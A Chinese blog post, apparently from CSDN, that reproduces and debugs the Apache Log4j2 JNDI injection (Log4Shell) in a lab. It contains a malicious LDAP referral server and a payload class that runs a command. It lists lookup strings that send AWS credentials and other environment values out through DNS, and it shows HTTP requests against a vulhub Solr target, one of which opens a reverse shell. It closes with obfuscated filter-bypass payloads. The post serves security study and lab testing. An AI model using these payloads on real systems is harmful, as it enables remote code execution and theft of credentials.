• Java代码审计15之Apache log4j2漏洞


    1、log4j简介

    Apache Log4j2是⼀个基于Java的⽇志记录⼯具。
    	
    该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性。
    
    该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息。
    	
    ⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。
    
    
    因为log4j是一个偏底层的组件,所以许多的服务都受到了影响,
    
    这个漏洞在刚公布的时候,也是引发了相当的轰动,
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    2、复现

    2.1、高版本测试

    先说结论,ldap协议,

    使用1.8_65和1.8_151都可以直接触发,
    
    也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
    
    
    但是1.8_202还是j了,
    
    即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    rmi协议

    1.8_65		直接触发
    
    1.8_151		需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
    
    1.8_202		J
    
    • 1
    • 2
    • 3
    • 4
    • 5

    还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”

    这个“exp”区分大小写,要与rmi恶意服务提供的保持一致
    
    • 1

    在这里插入图片描述

    2.2、测试代码

    先引入组件,

            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
                <version>2.14.1</version>
            </dependency>
    
            <dependency>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
                <version>2.14.1</version>
            </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述
    main.java

    
    package com.example.demo2;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.net.InetAddress;
    import java.net.UnknownHostException;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    public class main {
        private static  final Logger logger =LogManager.getLogger();
        public static void main(String[] args) throws Exception {
    //        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            //ldap://127.0.0.1:7777/Exp
            logger.error("${jndi:ldap://127.0.0.1:7777/Exp}");
    
    
    
    
    
        }
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    这个ldap和恶意类还使用上一节提到的,
    
    ldap_Hack_server.java
    
    • 1
    • 2
    • 3
    package com.example.demo2;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    public class ldap_Hack_server {
        private static final String LDAP_BASE = "dc=example,dc=com";
        public static void main ( String[] tmp_args ) {
            String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};
            int port = 7777;
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", //$NON-NLS-1$
                        InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            private URL codebase;
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult
                                                      result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "foo");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76

    jndiexp.java

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.io.IOException;
    import java.util.Hashtable;
    //package com.example.demo2;        增加会出错
    
    
    public class jndiexp implements ObjectFactory {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    2.3、补充之dns探测

    2.3.1、rmi、ldap也可以dnslog探测

    在使用dnslog探测漏洞的时候,

    其实不仅仅dns协议可以,ldap和rmi协议也可以,

    在这里插入图片描述
    类似的rmi,

    这里要注意下面,所以rmi协议相比较逊一些,

    ${jndi:rmi://rmi3.b5ar6g.dnslog.cn		这个后边必须跟一些东西,比如
    
    ${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx
    
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    但是不是太建议大家使用ldap和rmi毕竟有各种限制,
    
    还是直接使用dnslog比较方便
    
    • 1
    • 2
    • 3

    2.3.2、dnslog外带信息

    另一个是dns、rmi、ldap都可以在探测dnslog的时候,外带一些系统的信息,
    
    • 1

    在这里插入图片描述
    类似的有以下,各位有空可以试试,笔者未作测试,

    这些都是log4j组件中的一个特殊占位符

    ${hostName}
    ${sys:user.name}
    ${sys:user.home}
    ${sys:user.dir}
    ${sys:java.home}
    ${sys:java.vendor}
    ${sys:java.version}
    ${sys:java.vendor.url}
    ${sys:java.vm.version}
    ${sys:java.vm.vendor}
    ${sys:java.vm.name}
    ${sys:os.name}
    ${sys:os.arch}
    ${sys:os.version}
    ${env:JAVA_VERSION}
    ${env:AWS_SECRET_ACCESS_KEY}
    ${env:AWS_SESSION_TOKEN}
    ${env:AWS_SHARED_CREDENTIALS_FILE}
    ${env:AWS_WEB_IDENTITY_TOKEN_FILE}
    ${env:AWS_PROFILE}
    ${env:AWS_CONFIG_FILE}
    ${env:AWS_ACCESS_KEY_ID}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    3、漏洞原理

    3.1、漏洞的危害大的背景

    在log4j刚出来的时候,危害相当大,我们先说下log4j正常的使用背景,
    
    其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,
    
    Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 
    
    最简单的日志打印 我们看如下登录场景:
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
    
    • 1
    public void login(string name){
      String name = "test";  //表单接收name字段
      logger.info("{},登录了", name); //logger为log4j
    }
    
    • 1
    • 2
    • 3
    • 4
    很简单,用户如果登陆了,我们通过表单接收到相关name字段,
    
    然后在日志中记录上这么一条记录。这个看起来是很常规的操作了,
    
    记录日志为什么会导致漏洞呢?这主要就是lookup支持打印系统变量
    
    且name变量是用户输入的,用户输入什么都可以,
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    假设输入如下,
    在这里插入图片描述
    上述代码会输出,

    Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了
    
    • 1

    为什么会产生这种奇怪的现象呢?

    是因为log4j提供了一个lookup的功能,可以把一些系统变量放到日志中,
    在这里插入图片描述

    比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。
    
    其实这就是jndi注入了,之前我们说过,jndi注入可以利用rmi、ldap协议实现rce
    
    • 1
    • 2
    • 3

    3.2、具体的代码调试

    进来先关注,这个log4j的版本,

    有的maven会导入多个版本,在测试的时候,进入别的版本
    在这里插入图片描述

    然后每个函数可能会传递很多的参数,其实我们不用管别的,这里盯紧我们可控的参数即message
    
    然后,继续向下跟,都是很短的函数,没有if..else..这种条件结构直接向下走就行,
    
    	这个小技巧就是,直接ctrl进到方法的实现,
    
    	然后大个断点,然后直接“步过”到断点
    
    	一个方法,一个断点,一个“步过”
    
    
    直到走到1641行,按照我们的估算,下一次是同页面的1572行,
    
    	但是当1572行打了断点,“步过”的时候直接访问dnslog/弹窗了
    
    	这就说明在1641行不能在“步过”了,需要“步入”
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    在这里插入图片描述

    重新来,断点就留到1641,直接debug到这,然后“步入”到87行的log方法,
    
    	但是这里有一个新的问题是,遇到if..else..怎么知道进的是哪个,
    
    	不知道就都打上断点,再次“步过”
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    经过测试是进入if,但是这个log方法直接跟进去是一个定义的接口,
    
    所以也不能直接“步过”,继续“步入”,到了27行,
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    继续跟到这种结构,即if..else..下面还有代码,
    
    这里的重点不是进的 if还是else,重点是最终的漏洞是否在if..else..结构内触发,
    
    假设没有在if..else..语句内触发,那么其实这个if..else...的代码可以忽略,
    
    所以这种,我们直接在下面打断点,看看有没有触发,
    
    	假设触发了,我们在重新来一遍定位是if还是else,并继续向下
    
    	假设没有触发,我们就直接忽略
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

    继续可以跟到这个107行,记录下
    
    • 1

    在这里插入图片描述

    再向下就到这了,
    
    这个循环该到第八次的时候即i=8时,在步过就是9次的时候,直接步入,
    
    因为i=8的时候在步过就会直接弹窗,即漏洞是在第8次触发的
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    然后跟到这个MessagePatternConverter.class文件,
    
    • 1
    workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
    
    
    这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,
    
    一旦匹配到类似于表达式结构的字符串就会触发替换机制。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    然后这个地方是调试的一个重点,
    
    StrSubstitutor.class文件有多个while循环的这个地方触发的,但是正常跟进需要循环很多次,
    
    相当简单的是可以手动修改一些变量的值,这个值可能还是会绕一会,
    
    想绕的可以自己找找具体是在哪触发的,不想的可以看下下面的,
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    直接将断点打到该文件的418行,然后“步过”到418行,
    
    在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
    
    • 1
    • 2
    • 3
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    
    • 1

    在这里插入图片描述

    到这,log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数,进行正常的lookup查询
    
    之前我们说过当lookup函数可控时就会造成rce,所以看到lookup函数且参数可控,一定要警惕,
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    继续,在这个地方,
    
    通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容(即152行代码)
    
    传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类(156行)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    继续,
    
    • 1

    在这里插入图片描述

    继续,
    
    笔者到这一步,继续步入就直接弹窗了,
    
    到这,其实还是log4j组件内,即下面应该跳到jdk底层代码的lookup函数,
    
    然后去加载我们的恶意类,但是不知道为什么无法跟进去,先到这把
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    调试参考:
    
    https://www.anquanke.com/post/id/262668
    
    • 1
    • 2
    • 3

    4、靶场测试

    4.1、dns探测

    使用vulhub搭建一个靶场,直接poc搞一下dns,
    
    • 1
    GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
    Host: 192.168.1.39:8983
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Referer: http://192.168.1.39:8983/solr/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

    正常情况下,这种地方一般都是burp的插件或者xray或者其他扫描器扫到,
    
    • 1

    4.2、工具下载与使用

    然后就是利用,下载利用工具,
    	
    	https://github.com/WhiteHSBG/JNDIExploit
    
    kali起来环境,
    
    • 1
    • 2
    • 3
    • 4
    • 5
    java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x
    
    注意这个IP不要写0.0.0.0;否则会攻击失败
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    -u可以查看payload,根据不同的框架选择即可,
    
    这个地方也可以加上-i IP
    
    这样出来的payload就不是0.0.0.0而是可以直接利用的了
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    具体的使用可以看下,工具地址有说明,
    
    • 1

    在这里插入图片描述

    4.3、测试

    由上面我们直接测试,
    
    一开始使用一些有回显的测试,都没有回显,
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    然后换直接反弹shell的,
    
    kali起监听,直接拿到shell,
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    详细请求数据包,
    
    • 1
    GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
    Host: 192.168.1.39:8983
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Referer: http://192.168.1.39:8983/solr/
    Accept-Encoding: gzip, deflate
    cmd: whoami
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    4.4、手工可以测出,部分扫描器扫不到

    其实根据以上的原理,就可以看到,漏洞的触发是需要有打印log这个需求,
    
    但是不是所有的url的所有参数(包含header头参数)都会被打印,
    
    即漏洞的触发点可能只会是在部分uri的部分参数(包含header头参数)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    回到问题,为什么有的扫描器扫不到,

    着看扫描器实现的原理,假设扫描器是直接拼接了用户给的url,比如根目录

    但是根目录没有漏洞的触发点的话,扫不到很正常,

    所以想让扫描器覆盖到,笔者想到的就是配合爬虫,
    
    将爬虫爬到每个uri都过一遍
    
    • 1
    • 2
    • 3

    5、bypass

    一些流传的bypass姿势,

    ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
    
    ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
    
    ${jndi:rmi://adsasd.asdasd.asdasd}
    
    ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    
    ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    
    ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
    
    ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
  • 相关阅读:
    step6:改用单例模式
    【校招VIP】java语言考点之并发相关
    2、排序算法概述
    OpenTelemetry 实践指南:历史、架构与基本概念
    求和——快速幂
    VUE父组件向子组件传递值
    Dijkstra与Bellman-Ford算法对比
    云南美食介绍 简单静态HTML网页作品 美食餐饮网站设计与实现 学生美食网站模板
    Ubuntu Studio 23.10发布
    linux人像识别python环境搭建
  • 原文地址:https://blog.csdn.net/weixin_43970718/article/details/132590857